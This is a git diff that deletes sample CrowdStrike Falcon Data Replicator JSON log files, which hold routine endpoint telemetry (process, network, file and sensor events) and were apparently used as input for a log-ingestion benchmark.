-{"AgentLoadFlags":"1","AgentLocalTime":"1697775225","AgentTimeOffset":"15889.017","AgentVersion":"7.01.13922.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.21040423/z64","ChassisType":"Other","City":"Chicago","ComputerName":"FEVWSN1-234","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13922","Continent":"North America","Country":"United States of America","FalconGroupingTags":"'FalconGroupingTags/AMERICA'","FirstSeen":"1628678052.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"Servers;America;Offices","PointerSize":"8","ProductType":"3.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"BCL","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992719.22","Timezone":"America/Chicago","Version":"Windows Server 2021","aid":"ffffffff655344736aca58d17fb570f0","aip":"16.15.12.10","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_userinfo.log b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_userinfo.log deleted file mode 100644 index a663f3cdd4..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_userinfo.log +++ /dev/null @@ -1 +0,0 @@ -{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546155.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":"DOMAIN\\BRADLEYA","UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserName":"Alan-One","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546168.576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","event_platform":"Win","monthsincereset":"1.0"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-sample.log deleted file mode 100644 index f3d053e28c..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-sample.log +++ /dev/null @@ -1,128 +0,0 @@ -{"ParentProcessId":"362225661973273550","SourceProcessId":"362225661973273550","aip":"67.43.156.14","SessionProcessId":"363970027584976556","SyntheticPR2Flags":"8","event_platform":"Mac","SVUID":"501","id":"ffffffff-1111-11eb-8dd4-061759968cdf","EffectiveTransmissionClass":"2","timestamp":"1625677521162","ProcessGroupId":"363970027584976556","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"9505","ContextTimeStamp":"1625677521.137","GID":"20","ConfigStateHash":"1620585913","SVGID":"20","ConfigBuild":"1007.4.0013701.1","UID":"501","CommandLine":"/bin/sh -s unix:cmd","TargetProcessId":"363970027584976556","ImageFileName":"/bin/sh","RGID":"501","SourceThreadId":"0","Entitlements":"15","name":"SyntheticProcessRollup2MacV3","RUID":"501","aid":"ffffffffa63e404bba4bff7465ab3afb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"FileDeletedCount":"0","DirectoryCreatedCount":"0","ContextThreadId":"0","aip":"67.43.156.14","NetworkConnectCount":"0","NetworkListenCount":"0","event_platform":"Mac","NetworkBindCount":"0","NetworkRecvAcceptCount":"0","id":"ffffffff-1111-11eb-9d75-02bcf3ade03b","NewExecutableWrittenCount":"0","NetworkCloseCount":"0","EffectiveTransmissionClass":"3","SuspectStackCount":"0","timestamp":"1625677524102","event_simpleName":"EndOfProcess","RawProcessId":"33454","ContextTimeStamp":"1625677523.068","ConfigStateHash":"3090255842","ContextProcessId":"365053603452626914","AsepWrittenCount":"0","SuspiciousDnsRequestCount":"0","ConfigBuild":"1007.4.0013701.1","NetworkCapableAsepWriteCount":"0","ExecutableDeletedCount":"0","TargetProcessId":"365053603452626914","DnsRequestCount":"0","Entitlements":"15","name":"EndOfProcessMacV15","aid":"ffffffff3c0846978560dbc0048d6555","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1625677488.594","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"365042236081053654","RemotePort":"546","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"547","Entitlements":"15","name":"RawBindIP6MacV10","id":"ffffffff-1111-11eb-ad8d-064c77be2fd1","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffffc59c473aa7fcbbe7438082cb","ConnectionDirection":"2","InContext":"0","timestamp":"1625677488615","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"1620585913","Timeout":"600","aip":"67.43.156.14","SHA256HashData":"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018","ProcessCount":"4","ConfigBuild":"1007.4.0013701.1","UID":"502","event_platform":"Mac","CommandLine":"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n feature_name: FEATURE_NAME,\n variants: [FEATURE_VARIANT],\n )","Entitlements":"15","name":"ProcessRollup2StatsMacV1","id":"ffffffff-1111-11eb-822b-06081a3f0f45","EffectiveTransmissionClass":"2","aid":"ffffffff59fe460783ea45d59e417d6f","timestamp":"1625677504527","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"3090255842","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"0","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"SensorHeartbeatMacV4","ConfigIDPlatform":"4","id":"ffffffff-1111-11eb-97c6-02fd02aca859","ConfigIDBuild":"13701","EffectiveTransmissionClass":"0","aid":"ffffffffe1ad47b6b5b44ae9151a6cf3","ProvisionState":"1","timestamp":"1625677514783","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"MachOSubType":"1","ParentProcessId":"362213307092004097","SourceProcessId":"362213307092004097","aip":"67.43.156.14","SessionProcessId":"362213307092004097","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Mac","ProcessEndTime":"","SVUID":"0","ParentBaseFileName":"launchd","id":"ffffffff-1111-11eb-a9ce-02e9216bdbcb","EffectiveTransmissionClass":"2","timestamp":"1625677502500","ProcessGroupId":"362213307092004097","event_simpleName":"ProcessRollup2","RawProcessId":"56254","GID":"0","ConfigStateHash":"1620585913","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000","TargetProcessId":"363276350115996101","ImageFileName":"/usr/libexec/xpcproxy","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2MacV5","RUID":"0","ProcessStartTime":"1625677502.233","aid":"ffffffff8be84591864008eb2e484920","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1625677504.982","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307488247882","RemotePort":"53","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"39920","Entitlements":"15","name":"NetworkReceiveAcceptIP4LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"1","InContext":"0","timestamp":"1625677505511","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"RawBindIP4","ContextTimeStamp":"1625677521.866","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"362579458925546303","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"53","Entitlements":"15","name":"RawBindIP4MacV10","id":"ffffffff-1111-11eb-81d4-0282ad9ac82d","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff01fc49949cf06bf0bce3c010","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677522009","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677523.901","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP4":"127.0.0.1","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364783686797112486","RemotePort":"50626","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP6MacV10","id":"ffffffff-1111-11eb-97c6-02fd02aca859","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff083845f68a7de3d95cb34361","ConnectionDirection":"0","InContext":"0","timestamp":"1625677524048","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ParentProcessId":"38911774195823","SourceProcessId":"38911774195823","aip":"67.43.156.14","SessionProcessId":"38911772846634","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1625677535.102","SVUID":"114","ParentBaseFileName":"bash","id":"ffffffff-1111-11eb-bad4-02690d039c6b","EffectiveTransmissionClass":"2","timestamp":"1625677535482","ProcessGroupId":"9277112078","event_simpleName":"ProcessRollup2","RawProcessId":"73249","GID":"119","ConfigStateHash":"1284133626","SVGID":"119","MD5HashData":"29037cef466fa57f03bd1b2a092c47a4","SHA256HashData":"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112","ConfigBuild":"1007.8.0010912.1","UID":"114","CommandLine":"pgbackrest --stanza\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG","TargetProcessId":"38911778380590","ImageFileName":"/usr/bin/pgbackrest","RGID":"119","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV6","RUID":"114","ProcessStartTime":"1625677535.068","aid":"ffffffffcf45409f87ed463b40c368ec","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677503.713","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307455014463","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"41952","Entitlements":"15","name":"NetworkConnectIP6LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","ConnectionDirection":"0","InContext":"0","timestamp":"1625677503947","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1625677520.973","ConfigStateHash":"3090255842","ContextProcessId":"365044948432500700","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"0500000100000000000000000000000021b0260000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OoxmlFileWrittenMacV1","id":"ffffffff-1111-11eb-8ad1-02cfdadef55f","EffectiveTransmissionClass":"2","aid":"ffffffff20bd481a98a3d1f6191047ff","timestamp":"1625677521081","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677530.308","ConfigStateHash":"3469235958","ConnectionFlags":"0","ContextProcessId":"12227094573885","RemotePort":"80","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59926","Entitlements":"15","name":"NetworkConnectIP4LinV5","id":"ffffffff-1111-11eb-b727-028bbe41f38d","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffffbd064538b214ab0dce8e82c3","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677530841","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1156120155","ChannelDiffStatus":"1","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"12","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV2","id":"ffffffff-1111-11eb-b7e0-02332cdcc16d","ErrorCode":"0","aid":"ffffffff25b14d4aa96de99e24bad2fa","timestamp":"1625677493974","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677520.686","aip":"67.43.156.14","PhysicalAddress":"6e-9e-e0-1f-6d-7d","InterfaceAlias":"vethdeb0243","InterfaceIndex":"3736","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP6LinV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","PhysicalAddressLength":"6","aid":"ffffffffc9114c1898e79604708955a6","timestamp":"1625677521218","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1620585913","ChannelDiffStatus":"1","aip":"67.43.156.13","ChannelVersionRequired":"0","ChannelId":"210","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ChannelVersionRequiredMacV2","id":"ffffffff-1111-11eb-8cc5-02c6fb049dd3","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"ffffffff2d7b4778a73b2cf58d327e42","timestamp":"1625677480455","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"1156120155","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ConfigurationVersion":"10","name":"SensorHeartbeatLinV4","ConfigIDPlatform":"8","id":"ffffffff-1111-11eb-993f-02b8dc387eb5","ConfigIDBuild":"11611","aid":"fffffffff6e146908cbf31d72b94b626","timestamp":"1625677540292","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1625677528.570","ConfigStateHash":"3090255842","ContextProcessId":"364783686797112486","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000986b480e00000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"JavaClassFileWrittenMacV1","id":"ffffffff-1111-11eb-97c6-02fd02aca859","EffectiveTransmissionClass":"2","aid":"ffffffff083845f68a7de3d95cb34361","timestamp":"1625677528717","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class"} -{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677512.700","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"364796317497854624","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP4MacV10","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff96f142f6b2475f3c584ddd80","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677512892","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"DnsRequest","ContextTimeStamp":"1625677475.806","ConfigStateHash":"1620585913","ContextProcessId":"364977197365370629","DomainName":"jss.dom1.com","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"DnsRequestMacV1","id":"ffffffff-1111-11eb-9644-060415b1fd87","EffectiveTransmissionClass":"2","aid":"ffffffff7ecf4e61bba14ca5ac5d17b1","timestamp":"1625677476111","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"28"} -{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677504.770","ConfigStateHash":"1620585913","ContextProcessId":"365053504406857894","Size":"0","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9","FileIdentifier":"05000001000000000000000000000000b588050000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewScriptWrittenMacV2","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677540055","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/BitBar/countdown_timer.1s.py"} -{"InterfaceIndex":"186","ConfigBuild":"1007.8.0011611.1","event_simpleName":"LocalIpAddressRemovedIP6","event_platform":"Lin","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","name":"LocalIpAddressRemovedIP6LinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-b3c1-02ff598b7945","aid":"ffffffffbfbf4ff5aa56a26ad3c1a942","timestamp":"1625677526386","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"DirectoryCreate","ContextTimeStamp":"1625677499.994","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053555029062046","ContextThreadId":"0","aip":"67.43.156.14","Flags":"0","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"0","Entitlements":"15","name":"DirectoryCreateMacV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","VnodeType":"2","EffectiveTransmissionClass":"2","aid":"ffffffff24db47799d1a85aae61dc7bc","TargetDirectoryName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871","timestamp":"1625677500089","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkCloseIP4","ContextTimeStamp":"1625677517.658","ConfigStateHash":"1479784503","ConnectionFlags":"0","ContextProcessId":"84424232977619","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"40394","Entitlements":"15","name":"NetworkCloseIP4LinV6","id":"ffffffff-1111-11eb-9015-02e89cda7d5f","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff58de4e748d9f64c85a9b49e6","RemoteAddressIP4":"67.43.156.13","ConnectionDirection":"2","InContext":"0","timestamp":"1625677517986","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"VolumeMediaName":"AppleAPFSMedia","VolumeDeviceProtocol":"PCI-Express","VolumeDeviceVendor":"","ContextThreadId":"0","VolumeMediaContent":"41504653-0000-11AA-AA11-00306543ECAC","VolumeMediaEjectable":"0","aip":"67.43.156.14","VolumeAppearanceTime":"1625677422.647","VolumeDeviceModel":"APPLE SSD SM0256L","VolumeMediaBSDName":"disk1s3","VolumeMountPoint":"/Volumes/Recovery","event_platform":"Mac","VolumeType":"APFS","VolumeMediaRemovable":"0","VolumeMediaBSDUnit":"1","VolumeFileSystemDriver":"apfs","id":"ffffffff-1111-11eb-956a-02748d01bd3d","VolumeMediaSize":"250685575168","EffectiveTransmissionClass":"2","VolumeBusName":"IONVMeController","timestamp":"1625677496804","VolumeMediaBSDMinor":"8","VolumeMediaWritable":"1","event_simpleName":"FsVolumeMounted","VolumeDevicePath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1","VolumeName":"Recovery","ContextTimeStamp":"1625677496.750","VolumeSectorSize":"4096","ConfigStateHash":"3090255842","ContextProcessId":"365053546767850587","VolumeBusPath":"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController","VolumeDeviceInternal":"1","ConfigBuild":"1007.4.0013701.1","VolumeUUID":"85400FAD-01F9-0442-8C5D-441F365D4909","VolumeDeviceRevision":"CXS4LA0Q","Entitlements":"15","name":"FsVolumeMountedMacV1","VolumeMediaBSDMajor":"1","VolumeMediaPath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3","aid":"ffffffff8eca418b7a861be9c5f7de1d","VolumeMediaUUID":"AD0F4085-F901-4204-8C5D-441F365D4909","VolumeMediaWhole":"0","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677513.841","aip":"67.43.156.14","PhysicalAddress":"0e-d6-ff-ff-ff-63","InterfaceAlias":"eth0","InterfaceIndex":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP4LinV1","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","PhysicalAddressLength":"6","aid":"ffffffff190e436aaebc3892bcda5beb","timestamp":"1625677514374","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"3967242894","aip":"67.43.156.13","InterfaceIndex":"8","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressRemovedIP6MacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.14","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"llw0","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","PhysicalAddressLength":"6","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677521723","event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","PhysicalAddress":"c2-27-b0-27-83-0f","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressIP6MacV1","aid":"ffffffff0ad7494e8e817b3903f4eebb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677507.037","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364432308748445743","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"50647","Entitlements":"15","name":"NetworkListenIP4MacV10","id":"ffffffff-1111-11eb-8b36-06a8af5164a9","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff23d24c4193ffa6f270775ee5","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677507086","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1625677536.729","ConfigStateHash":"3090255842","ContextProcessId":"364994904864288322","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ExecutableDeletedMacV1","id":"ffffffff-1111-11eb-8ca0-0231588e8cbb","EffectiveTransmissionClass":"2","aid":"ffffffffa7bf46da689501ce58bd6987","timestamp":"1625677536784","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt"} -{"event_simpleName":"GzipFileWritten","ContextTimeStamp":"1625677504.542","ConfigStateHash":"3090255842","ContextProcessId":"362897421906895953","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000501f510700000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GzipFileWrittenMacV1","id":"ffffffff-1111-11eb-9320-06d410e6f705","EffectiveTransmissionClass":"2","aid":"fffffffffc2c4e4fa9c08e1a8388e5f9","timestamp":"1625677504614","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz"} -{"event_simpleName":"IOServiceRegister","ContextTimeStamp":"1625622770.595","ConfigStateHash":"3967242894","aip":"67.43.156.13","IOServiceClass":"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject","ConfigBuild":"1007.4.0013701.1","IOServicePath":"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000","event_platform":"Mac","IOServiceProperties":"","Entitlements":"15","name":"IOServiceRegisterMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","IOServiceName":"Touch Bar Backlight","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"PtyCreated","ContextTimeStamp":"1625622602.031","ConfigStateHash":"3967242894","ContextProcessId":"364938416497226937","DeviceId":"251658248","ContextThreadId":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PtyCreatedMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677478739","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"1803419442","aip":"67.43.156.14","InterfaceIndex":"18","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressRemovedIP4MacV1","id":"ffffffff-1111-11eb-b7b7-066cc89bcebf","EffectiveTransmissionClass":"2","aid":"ffffffff5ae3449ab33a1809fe6c5ce2","timestamp":"1625677475967","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NetworkCloseIP6","ContextTimeStamp":"1625677474.875","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"12241681491990","RemotePort":"9","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59999","Entitlements":"15","name":"NetworkCloseIP6LinV6","id":"ffffffff-1111-11eb-8130-02cde7751097","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff335f47ca89cad6a19f203bbd","ConnectionDirection":"2","InContext":"0","timestamp":"1625677475413","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ConfigBuild":"1007.8.0011611.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1156120155","ConfigStateData":"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV2","aip":"67.43.156.14","id":"ffffffff-1111-11eb-af89-06c111484f9f","aid":"ffffffffa74a4c89b9984a3a7124bb9d","timestamp":"1625677490580","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} 